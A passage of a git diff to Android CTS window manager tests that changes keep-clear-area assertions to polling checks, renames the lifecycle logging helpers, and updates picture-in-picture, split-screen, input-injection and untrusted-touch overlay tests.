+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity2));
}
@Test
- public void testDisplayHasKeepClearAreasFromTwoActivitiesInSplitscreen() {
+ public void testDisplayHasKeepClearAreasFromTwoActivitiesInSplitscreen() throws Exception {
assumeTrue("Skipping test: no split multi-window support",
supportsSplitScreenMultiWindow());
@@ -486,19 +502,19 @@
mWmState.assertVisibility(KEEP_CLEAR_RECTS_ACTIVITY, true);
mWmState.assertVisibility(KEEP_CLEAR_RECTS_ACTIVITY2, true);
- assertSameElements(TEST_KEEP_CLEAR_RECTS,
- getKeepClearRectsForActivity(KEEP_CLEAR_RECTS_ACTIVITY));
- assertSameElements(TEST_KEEP_CLEAR_RECTS_2,
- getKeepClearRectsForActivity(KEEP_CLEAR_RECTS_ACTIVITY2));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(KEEP_CLEAR_RECTS_ACTIVITY));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS_2,
+ () -> getKeepClearRectsForActivity(KEEP_CLEAR_RECTS_ACTIVITY2));
final List<Rect> expected = new ArrayList();
expected.addAll(getRectsInScreenSpace(TEST_KEEP_CLEAR_RECTS, KEEP_CLEAR_RECTS_ACTIVITY));
expected.addAll(getRectsInScreenSpace(TEST_KEEP_CLEAR_RECTS_2, KEEP_CLEAR_RECTS_ACTIVITY2));
- assertSameElements(expected, getKeepClearRectsOnDefaultDisplay());
+ assertSameElementsEventually(expected, () -> getKeepClearRectsOnDefaultDisplay());
}
@Test
- public void testUnrestrictedKeepClearRects() {
+ public void testUnrestrictedKeepClearRects() throws Exception {
mTestSession.launchTestActivityOnDisplaySync(TestActivity.class, DEFAULT_DISPLAY);
final TestActivity activity = mTestSession.getActivity();
@@ -507,15 +523,18 @@
v.setUnrestrictedPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS);
});
- assertSameElements(EMPTY_LIST, getKeepClearRectsForActivity(activity));
- assertSameElements(EMPTY_LIST, getUnrestrictedKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(EMPTY_LIST, () -> getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(EMPTY_LIST,
+ () -> getUnrestrictedKeepClearRectsForActivity(activity));
mTestSession.runOnMainSyncAndWait(() -> {
v.setPreferKeepClearRects(TEST_KEEP_CLEAR_RECTS);
});
- assertSameElements(TEST_KEEP_CLEAR_RECTS, getKeepClearRectsForActivity(activity));
- assertSameElements(EMPTY_LIST, getUnrestrictedKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(TEST_KEEP_CLEAR_RECTS,
+ () -> getKeepClearRectsForActivity(activity));
+ assertSameElementsEventually(EMPTY_LIST,
+ () -> getUnrestrictedKeepClearRectsForActivity(activity));
}
private View createTestViewInActivity(TestActivity activity) {
@@ -588,10 +607,11 @@
return result;
}
- private static <T> void assertSameElements(List<T> expected, List<T> actual) {
- if (!hasSameElements(expected, actual)) {
- assertEquals(expected, actual);
- }
+ private static <T> void assertSameElementsEventually(List<T> expected, Callable<List<T>> actual)
+ throws Exception {
+ PollingCheck.check("Lists do not have the same elements.",
+ SAME_ELEMENT_ASSERTION_TIMEOUT,
+ () -> hasSameElements(expected, actual.call()));
}
private static <T> boolean hasSameElements(List<T> fst, List<T> snd) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index dbfe7e9..7182add 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -1429,15 +1429,15 @@
public void testDisplayMetricsPinUnpin() {
separateTestJournal();
launchActivity(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN);
- final int defaultWindowingMode = mWmState
- .getTaskByActivity(TEST_ACTIVITY).getWindowingMode();
- final SizeInfo initialSizes = getLastReportedSizesForActivity(TEST_ACTIVITY);
- final Rect initialAppBounds = getAppBounds(TEST_ACTIVITY);
+ launchActivity(PIP_ACTIVITY);
+ int defaultWindowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
+ final SizeInfo initialSizes = getLastReportedSizesForActivity(PIP_ACTIVITY);
+ final Rect initialAppBounds = getAppBounds(PIP_ACTIVITY);
assertNotNull("Must report display dimensions", initialSizes);
assertNotNull("Must report app bounds", initialAppBounds);
separateTestJournal();
- launchActivity(PIP_ACTIVITY, extraString(EXTRA_ENTER_PIP, "true"));
+ enterPipAndAssertPinnedTaskExists(PIP_ACTIVITY);
// Wait for animation complete since we are comparing bounds
waitForEnterPipAnimationComplete(PIP_ACTIVITY);
final SizeInfo pinnedSizes = getLastReportedSizesForActivity(PIP_ACTIVITY);
@@ -1506,6 +1506,11 @@
launchActivity(PIP_ACTIVITY, extraString(EXTRA_ALLOW_AUTO_PIP, "true"));
assertPinnedStackDoesNotExist();
+ int windowingMode = mWmState.getTaskByActivity(PIP_ACTIVITY).getWindowingMode();
+ // Skip the test if freeform, since desktops may manually request PIP immediately after
+ // the test activity launch.
+ assumeFalse(windowingMode == WINDOWING_MODE_FREEFORM);
+
// Launch a regular activity with FLAG_ACTIVITY_NO_USER_ACTION and
// ensure that there is no pinned stack.
launchActivityWithNoUserAction(TEST_ACTIVITY);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 7762a00..4958cc1 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -559,6 +559,7 @@
@Test
public void testLaunchAppWithIconOptions() throws Exception {
+ assumeFalse(isLeanBack());
final Bundle bundle = ActivityOptions.makeBasic()
.setSplashScreenStyle(SplashScreen.SPLASH_SCREEN_STYLE_ICON).toBundle();
TestJournalProvider.TestJournalContainer.start();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
index ace9d8f..4b7242e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java
@@ -23,6 +23,7 @@
import static android.server.wm.SplitActivityLifecycleTest.ActivityB.EXTRA_SHOW_WHEN_LOCKED;
import static android.server.wm.WindowManagerState.STATE_STARTED;
import static android.server.wm.WindowManagerState.STATE_STOPPED;
+import static android.view.Display.DEFAULT_DISPLAY;
import static com.google.common.truth.Truth.assertThat;
import static com.google.common.truth.Truth.assertWithMessage;
@@ -497,8 +498,11 @@
*/
@Test
public void testTranslucentAdjacentTaskFragment() {
- // Create ActivityB on top of ActivityA
- Activity activityB = startActivityInWindowingModeFullScreen(ActivityB.class);
+ // Create ActivityB on top of ActivityA.
+ // Make sure ActivityB is launched into the same task as ActivityA so that we can reparent
+ // it to TaskFragment in the same task later.
+ Activity activityB = startActivity(ActivityB.class, DEFAULT_DISPLAY, true /* hasFocus */,
+ WINDOWING_MODE_FULLSCREEN, mOwnerActivity.getTaskId());
waitAndAssertResumedActivity(mActivityB, "Activity B must be resumed.");
waitAndAssertActivityState(mActivityA, STATE_STOPPED,
"Activity A is occluded by Activity B, so it must be stopped.");
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
index 45f4dd9..7cbd32e 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/StartActivityAsUserTests.java
@@ -68,7 +68,7 @@
final Context context = InstrumentationRegistry.getInstrumentation().getContext();
final String output = runShellCommand(
- "pm create-user --user-type android.os.usertype.profile.MANAGED --profileOf "
+ "pm create-user --user-type android.os.usertype.profile.CLONE --profileOf "
+ context.getUserId() + " user2");
sSecondUserId = Integer.parseInt(output.substring(output.lastIndexOf(" ")).trim());
if (sSecondUserId == 0) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index 024ea17..283a1f0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -61,8 +61,6 @@
import androidx.annotation.NonNull;
-import com.android.compatibility.common.util.SystemUtil;
-
import org.junit.Test;
import java.util.ArrayList;
@@ -81,9 +79,7 @@
private static void sendKey(int action, int keyCode, int displayId) {
final KeyEvent keyEvent = new KeyEvent(action, keyCode);
keyEvent.setDisplayId(displayId);
- SystemUtil.runWithShellPermissionIdentity(() -> {
- getInstrumentation().sendKeySync(keyEvent);
- });
+ getInstrumentation().sendKeySync(keyEvent);
}
private static void sendAndAssertTargetConsumedKey(InputTargetActivity target, int keyCode,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
index 322355f..2e29a74 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInputTests.java
@@ -73,12 +73,11 @@
import java.util.ArrayList;
import java.util.Random;
import java.util.Set;
+import java.util.concurrent.CompletableFuture;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.TimeoutException;
/**
* Ensure moving windows and tapping is done synchronously.
@@ -728,9 +727,10 @@
eventHover.setSource(InputDevice.SOURCE_MOUSE);
try {
mInstrumentation.sendPointerSync(eventHover);
- fail("Not allowed to inject event to the window from another process.");
- } catch (SecurityException e) {
- // Should not be allowed to inject event to the window from another process.
+ fail("Not allowed to inject to windows owned by another uid from Instrumentation.");
+ } catch (RuntimeException e) {
+ // Should not be allowed to inject event to a window owned by another uid from the
+ // Instrumentation class.
}
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index 20bce66..229104c 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -64,6 +64,7 @@
import com.android.compatibility.common.util.SystemUtil;
import com.android.compatibility.common.util.WindowUtil;
+import org.junit.Ignore;
import org.junit.Rule;
import org.junit.Test;
@@ -83,11 +84,13 @@
private final Context mContext = InstrumentationRegistry.getInstrumentation().getContext();
+ @Ignore("b/168446060")
@Test
public void testShowAndHide_renderSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
runTest(false /* useControlApi */);
}
+ @Ignore("b/168446060")
@Test
public void testControl_rendersSynchronouslyBetweenImeWindowAndAppContent() throws Throwable {
runTest(true /* useControlApi */);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index aa19b08..65465b2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -62,6 +62,7 @@
import android.os.Bundle;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
+import android.view.InputDevice;
import android.view.MotionEvent;
import android.view.View;
import android.view.ViewGroup;
@@ -77,7 +78,6 @@
import androidx.annotation.Nullable;
import com.android.compatibility.common.util.PollingCheck;
-import com.android.compatibility.common.util.SystemUtil;
import com.android.cts.mockime.ImeEventStream;
import com.android.cts.mockime.ImeSettings;
import com.android.cts.mockime.MockImeSession;
@@ -844,8 +844,10 @@
}
private void sendPointerSync(MotionEvent event) {
- SystemUtil.runWithShellPermissionIdentity(
- () -> getInstrumentation().sendPointerSync(event));
+ event.setSource(event.getSource() | InputDevice.SOURCE_CLASS_POINTER);
+ // Use UiAutomation to inject into TestActivity because it is started and owned by the
+ // Shell, which has a different uid than this instrumentation.
+ getInstrumentation().getUiAutomation().injectInputEvent(event, true);
}
private static class AnimationCallback extends WindowInsetsAnimation.Callback {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
index df3f9e3..7977030 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowManagerTestBase.java
@@ -16,6 +16,7 @@
package android.server.wm;
+import static android.app.ActivityTaskManager.INVALID_STACK_ID;
import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -64,13 +65,20 @@
static <T extends FocusableActivity> T startActivity(Class<T> cls, int displayId,
boolean hasFocus, int windowingMode) {
+ return startActivity(cls, displayId, hasFocus, windowingMode, INVALID_STACK_ID);
+ }
+
+ static <T extends FocusableActivity> T startActivity(Class<T> cls, int displayId,
+ boolean hasFocus, int windowingMode, int taskId) {
final Bundle options;
- if (displayId == DEFAULT_DISPLAY && windowingMode == WINDOWING_MODE_UNDEFINED) {
+ if (displayId == DEFAULT_DISPLAY && windowingMode == WINDOWING_MODE_UNDEFINED
+ && taskId == INVALID_STACK_ID) {
options = null;
} else {
final ActivityOptions ap= ActivityOptions.makeBasic();
if (displayId != DEFAULT_DISPLAY) ap.setLaunchDisplayId(displayId);
if (windowingMode != WINDOWING_MODE_UNDEFINED) ap.setLaunchWindowingMode(windowingMode);
+ if (taskId != INVALID_STACK_ID) ap.setLaunchTaskId(taskId);
options = ap.toBundle();
}
final T[] activity = (T[]) Array.newInstance(FocusableActivity.class, 1);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
index 449f28a..1ed5af8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowUntrustedTouchTest.java
@@ -22,6 +22,7 @@
import static android.server.wm.UiDeviceUtils.pressUnlockButton;
import static android.server.wm.UiDeviceUtils.pressWakeupButton;
import static android.server.wm.WindowManagerState.STATE_RESUMED;
+import static android.server.wm.overlay.Components.OverlayActivity.EXTRA_TOKEN;
import static android.view.WindowInsets.Type.navigationBars;
import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
@@ -232,10 +233,10 @@
}
@Test
- public void testWhenFeatureInDisabledModeAndOneSawWindowAbove_allowsTouch()
+ public void testWhenFeatureInDisabledModeAndActivityWindowAbove_allowsTouch()
throws Throwable {
setBlockUntrustedTouchesMode(FEATURE_MODE_DISABLED);
- addSawOverlay(APP_A, WINDOW_1, /* opacity */ .9f);
+ addActivityOverlay(APP_A, /* opacity */ .9f);
mTouchHelper.tapOnViewCenter(mContainer);
@@ -243,10 +244,10 @@
}
@Test
- public void testWhenFeatureInPermissiveModeAndOneSawWindowAbove_allowsTouch()
+ public void testWhenFeatureInPermissiveModeAndActivityWindowAbove_allowsTouch()
throws Throwable {
setBlockUntrustedTouchesMode(FEATURE_MODE_PERMISSIVE);
- addSawOverlay(APP_A, WINDOW_1, /* opacity */ .9f);
+ addActivityOverlay(APP_A, /* opacity */ .9f);
mTouchHelper.tapOnViewCenter(mContainer);
@@ -513,15 +514,14 @@
assertTouchNotReceived();
}
- /** Blocked due to b/194480991 */
@Test
- public void testWhenOneActivityWindowWithZeroOpacity_blocksTouch()
+ public void testWhenOneActivityWindowWithZeroOpacity_allowsTouch()
throws Throwable {
addActivityOverlay(APP_A, /* opacity */ 0f);
mTouchHelper.tapOnViewCenter(mContainer);
- assertTouchNotReceived();
+ assertTouchReceived();
}
@Test
@@ -545,9 +545,8 @@
}
@Test
- public void testWhenOneSelfActivityChildWindow_allowsTouch() throws Throwable {
- IBinder token = mActivity.getWindow().getAttributes().token;
- addActivityChildWindow(APP_SELF, WINDOW_1, token);
+ public void testWhenOneSelfActivityWindow_allowsTouch() throws Throwable {
+ addActivityOverlay(APP_SELF, /* opacity */ .9f);
mTouchHelper.tapOnViewCenter(mContainer);
@@ -634,6 +633,39 @@
assertTouchReceived();
}
+ @Test
+ public void testWhenActivityChildWindowWithDifferentTokenFromDifferentApp_blocksTouch()
+ throws Exception {
+ // Creates a new activity with 0 opacity
+ BlockingResultReceiver receiver = new BlockingResultReceiver();
+ addActivityOverlay(APP_A, /* opacity */ 0f, receiver);
+ // Verify it allows touches
+ mTouchHelper.tapOnViewCenter(mContainer);
+ assertTouchReceived();
+ // Now get its token and put a child window from another app with it
+ IBinder token = receiver.getData(TIMEOUT_MS).getBinder(EXTRA_TOKEN);
+ addActivityChildWindow(APP_B, WINDOW_1, token);
+
+ mTouchHelper.tapOnViewCenter(mContainer);
+
+ assertTouchNotReceived();
+ }
+
+ @Test
+ public void testWhenActivityChildWindowWithDifferentTokenFromSameApp_allowsTouch()
+ throws Exception {
+ // Creates a new activity with 0 opacity
+ BlockingResultReceiver receiver = new BlockingResultReceiver();
+ addActivityOverlay(APP_A, /* opacity */ 0f, receiver);
+ // Now get its token and put a child window owned by us
+ IBinder token = receiver.getData(TIMEOUT_MS).getBinder(EXTRA_TOKEN);
+ addActivityChildWindow(APP_SELF, WINDOW_1, token);
+
+ mTouchHelper.tapOnViewCenter(mContainer);
+
+ assertTouchReceived();
+ }
+
/** Activity transitions */
@Test
@@ -834,11 +866,10 @@
}
@Test
- public void testWhenOneSelfCustomToastOneSelfActivityChildAndOneSawBelowThreshold_allowsTouch()
+ public void testWhenOneSelfCustomToastWindowOneSelfActivityWindowAndOneSawBelowThreshold_allowsTouch()
throws Throwable {
- IBinder token = mActivity.getWindow().getAttributes().token;
- addActivityChildWindow(APP_SELF, WINDOW_1, token);
- addSawOverlay(APP_A, WINDOW_2, .5f);
+ addActivityOverlay(APP_SELF, /* opacity */ .9f);
+ addSawOverlay(APP_A, WINDOW_1, .5f);
addToastOverlay(APP_SELF, /* custom */ true);
mTouchHelper.tapOnViewCenter(mContainer);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
index df015a6..b6eea5a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleClientTestBase.java
@@ -71,10 +71,10 @@
final ActivityTestRule mSlowActivityTestRule = new ActivityTestRule<>(
SlowActivity.class, true /* initialTouchMode */, false /* launchActivity */);
- private static LifecycleLog mLifecycleLog;
+ private static EventLog sEventLog;
protected Context mTargetContext;
- private LifecycleTracker mLifecycleTracker;
+ private EventTracker mTransitionTracker;
@Before
@Override
@@ -83,11 +83,11 @@
mTargetContext = getInstrumentation().getTargetContext();
// Log transitions for all activities that belong to this app.
- mLifecycleLog = new LifecycleLog();
- mLifecycleLog.clear();
+ sEventLog = new EventLog();
+ sEventLog.clear();
// Track transitions and allow waiting for pending activity states.
- mLifecycleTracker = new LifecycleTracker(mLifecycleLog);
+ mTransitionTracker = new EventTracker(sEventLog);
// Some lifecycle tracking activities that have not been destroyed may affect the
// verification of next test because of the lifecycle log. We need to wait them to be
@@ -252,7 +252,7 @@
final void waitAndAssertActivityStates(
Pair<Class<? extends Activity>, String>... activityCallbacks) {
log("Start waitAndAssertActivityCallbacks");
- mLifecycleTracker.waitAndAssertActivityStates(activityCallbacks);
+ mTransitionTracker.waitAndAssertActivityStates(activityCallbacks);
}
/**
@@ -262,35 +262,35 @@
final void waitAndAssertActivityCurrentState(
Class<? extends Activity> activityClass, String expectedState) {
log("Start waitAndAssertActivityCurrentState");
- mLifecycleTracker.waitAndAssertActivityCurrentState(activityClass, expectedState);
+ mTransitionTracker.waitAndAssertActivityCurrentState(activityClass, expectedState);
}
/**
* Blocking call that will wait for activities to perform the expected sequence of transitions.
- * @see LifecycleTracker#waitForActivityTransitions(Class, List)
+ * @see EventTracker#waitForActivityTransitions(Class, List)
*/
final void waitForActivityTransitions(Class<? extends Activity> activityClass,
List<String> expectedTransitions) {
log("Start waitForActivityTransitions");
- mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+ mTransitionTracker.waitForActivityTransitions(activityClass, expectedTransitions);
}
/**
* Blocking call that will wait for activities to perform the expected sequence of transitions.
* After waiting it asserts that the sequence matches the expected.
- * @see LifecycleTracker#waitForActivityTransitions(Class, List)
+ * @see EventTracker#waitForActivityTransitions(Class, List)
*/
final void waitAndAssertActivityTransitions(Class<? extends Activity> activityClass,
List<String> expectedTransitions, String message) {
log("Start waitAndAssertActivityTransition");
- mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+ mTransitionTracker.waitForActivityTransitions(activityClass, expectedTransitions);
- LifecycleVerifier.assertSequence(activityClass, getLifecycleLog(), expectedTransitions,
+ TransitionVerifier.assertSequence(activityClass, getTransitionLog(), expectedTransitions,
message);
}
- LifecycleLog getLifecycleLog() {
- return mLifecycleLog;
+ EventLog getTransitionLog() {
+ return sEventLog;
}
static Pair<Class<? extends Activity>, String> state(Activity activity,
@@ -620,7 +620,7 @@
void moveTaskToPrimarySplitScreenAndVerify(Activity primaryActivity,
Activity secondaryActivity) throws Exception {
- getLifecycleLog().clear();
+ getTransitionLog().clear();
mWmState.computeState(secondaryActivity.getComponentName());
moveActivitiesToSplitScreen(primaryActivity.getComponentName(),
@@ -629,9 +629,9 @@
final Class<? extends Activity> activityClass = primaryActivity.getClass();
final List<String> expectedTransitions =
- new ArrayList<>(LifecycleVerifier.getSplitScreenTransitionSequence(activityClass));
+ new ArrayList<>(TransitionVerifier.getSplitScreenTransitionSequence(activityClass));
final List<String> expectedTransitionForMinimizedDock =
- LifecycleVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
+ TransitionVerifier.appendMinimizedDockTransitionTrail(expectedTransitions);
final int displayWindowingMode =
getDisplayWindowingModeByActivity(getComponentName(activityClass));
@@ -642,10 +642,10 @@
Collections.singleton(ON_MULTI_WINDOW_MODE_CHANGED));
}
- mLifecycleTracker.waitForActivityTransitions(activityClass, expectedTransitions);
- LifecycleVerifier.assertSequenceMatchesOneOf(
+ mTransitionTracker.waitForActivityTransitions(activityClass, expectedTransitions);
+ TransitionVerifier.assertSequenceMatchesOneOf(
activityClass,
- getLifecycleLog(),
+ getTransitionLog(),
Arrays.asList(expectedTransitions, expectedTransitionForMinimizedDock),
"enterSplitScreen");
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
index 9dded99..07e4ac0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleFreeformTests.java
@@ -29,6 +29,12 @@
import static android.server.wm.lifecycle.LifecycleConstants.ON_RESUME;
import static android.server.wm.lifecycle.LifecycleConstants.ON_TOP_POSITION_LOST;
import static android.server.wm.lifecycle.LifecycleConstants.getComponentName;
+import static android.server.wm.lifecycle.TransitionVerifier.assertEmptySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchAndPauseSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertLaunchSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertRestartAndResumeSequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertResumeToDestroySequence;
+import static android.server.wm.lifecycle.TransitionVerifier.assertSequence;
import static org.junit.Assert.assertFalse;
import static org.junit.Assume.assumeTrue;
@@ -44,7 +50,7 @@
import org.junit.Before;
import org.junit.Test;
-import java.util.Arrays;
+import java.util.Collections;
/**
* Build/Install/Run:
@@ -77,8 +83,8 @@
// Wait and assert resume
waitAndAssertActivityState(getComponentName(FirstActivity.class), STATE_RESUMED,
"Activity should be resumed after launch");
- LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ assertLaunchSequence(FirstActivity.class, getTransitionLog());
+ assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog(),
ON_TOP_POSITION_LOST);
}
@@ -113,10 +119,10 @@
waitAndAssertActivityState(getComponentName(ThirdActivity.class), STATE_RESUMED, message);
// Assert lifecycle
- LifecycleVerifier.assertLaunchSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
- LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
- LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ assertLaunchSequence(FirstActivity.class, getTransitionLog());
+ assertLaunchSequence(SecondActivity.class, getTransitionLog());
+ assertLaunchSequence(ThirdActivity.class, getTransitionLog());
+ assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog(),
ON_TOP_POSITION_LOST);
}
@@ -150,14 +156,14 @@
waitAndAssertActivityState(getComponentName(ThirdActivity.class), STATE_RESUMED, message);
// Assert lifecycle
- LifecycleVerifier.assertLaunchAndStopSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertLaunchSequence(SecondActivity.class, getLifecycleLog());
- LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
- LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ TransitionVerifier.assertLaunchAndStopSequence(FirstActivity.class, getTransitionLog());
+ assertLaunchSequence(SecondActivity.class, getTransitionLog());
+ assertLaunchSequence(ThirdActivity.class, getTransitionLog());
+ assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog(),
ON_TOP_POSITION_LOST);
// Finish the activity that was occluding the first one
- getLifecycleLog().clear();
+ getTransitionLog().clear();
secondActivity.finish();
// Wait and assert the lifecycle
@@ -170,11 +176,10 @@
assertFalse("Activity must be destroyed",
mWmState.containsWindow(
getWindowName(getComponentName(SecondActivity.class))));
- LifecycleVerifier.assertRestartAndResumeSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertResumeToDestroySequence(SecondActivity.class, getLifecycleLog());
- LifecycleVerifier.assertEmptySequence(ThirdActivity.class, getLifecycleLog(),
- "finishInOtherStack");
- LifecycleVerifier.assertEmptySequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ assertRestartAndResumeSequence(FirstActivity.class, getTransitionLog());
+ assertResumeToDestroySequence(SecondActivity.class, getTransitionLog());
+ assertEmptySequence(ThirdActivity.class, getTransitionLog(), "finishInOtherStack");
+ assertEmptySequence(CallbackTrackingActivity.class, getTransitionLog(),
"finishInOtherStack");
}
@@ -209,14 +214,14 @@
waitAndAssertActivityState(getComponentName(ThirdActivity.class), STATE_RESUMED, message);
// Assert lifecycle
- LifecycleVerifier.assertLaunchAndPauseSequence(FirstActivity.class, getLifecycleLog());
- LifecycleVerifier.assertLaunchSequence(TranslucentActivity.class, getLifecycleLog());
- LifecycleVerifier.assertLaunchSequence(ThirdActivity.class, getLifecycleLog());
- LifecycleVerifier.assertLaunchSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ assertLaunchAndPauseSequence(FirstActivity.class, getTransitionLog());
+ assertLaunchSequence(TranslucentActivity.class, getTransitionLog());
+ assertLaunchSequence(ThirdActivity.class, getTransitionLog());
+ assertLaunchSequence(CallbackTrackingActivity.class, getTransitionLog(),
ON_TOP_POSITION_LOST);
// Finish the activity that was occluding the first one
- getLifecycleLog().clear();
+ getTransitionLog().clear();
transparentActivity.finish();
// Wait and assert the lifecycle
@@ -231,13 +236,13 @@
assertFalse("Activity must be destroyed",
mWmState.containsWindow(
getWindowName(getComponentName(TranslucentActivity.class))));
- LifecycleVerifier.assertSequence(FirstActivity.class, getLifecycleLog(),
- Arrays.asList(ON_RESUME), "finishTranslucentOnTop");
- LifecycleVerifier.assertResumeToDestroySequence(TranslucentActivity.class,
- getLifecycleLog());
- LifecycleVerifier.assertEmptySequence(ThirdActivity.class, getLifecycleLog(),
+ assertSequence(FirstActivity.class, getTransitionLog(),
+ Collections.singletonList(ON_RESUME), "finishTranslucentOnTop");
+ assertResumeToDestroySequence(TranslucentActivity.class,
+ getTransitionLog());
+ assertEmptySequence(ThirdActivity.class, getTransitionLog(),
"finishInOtherStack");
- LifecycleVerifier.assertEmptySequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ assertEmptySequence(CallbackTrackingActivity.class, getTransitionLog(),
"finishInOtherStack");
}
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
index 2465c15..b958cd8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecycleKeyguardTests.java
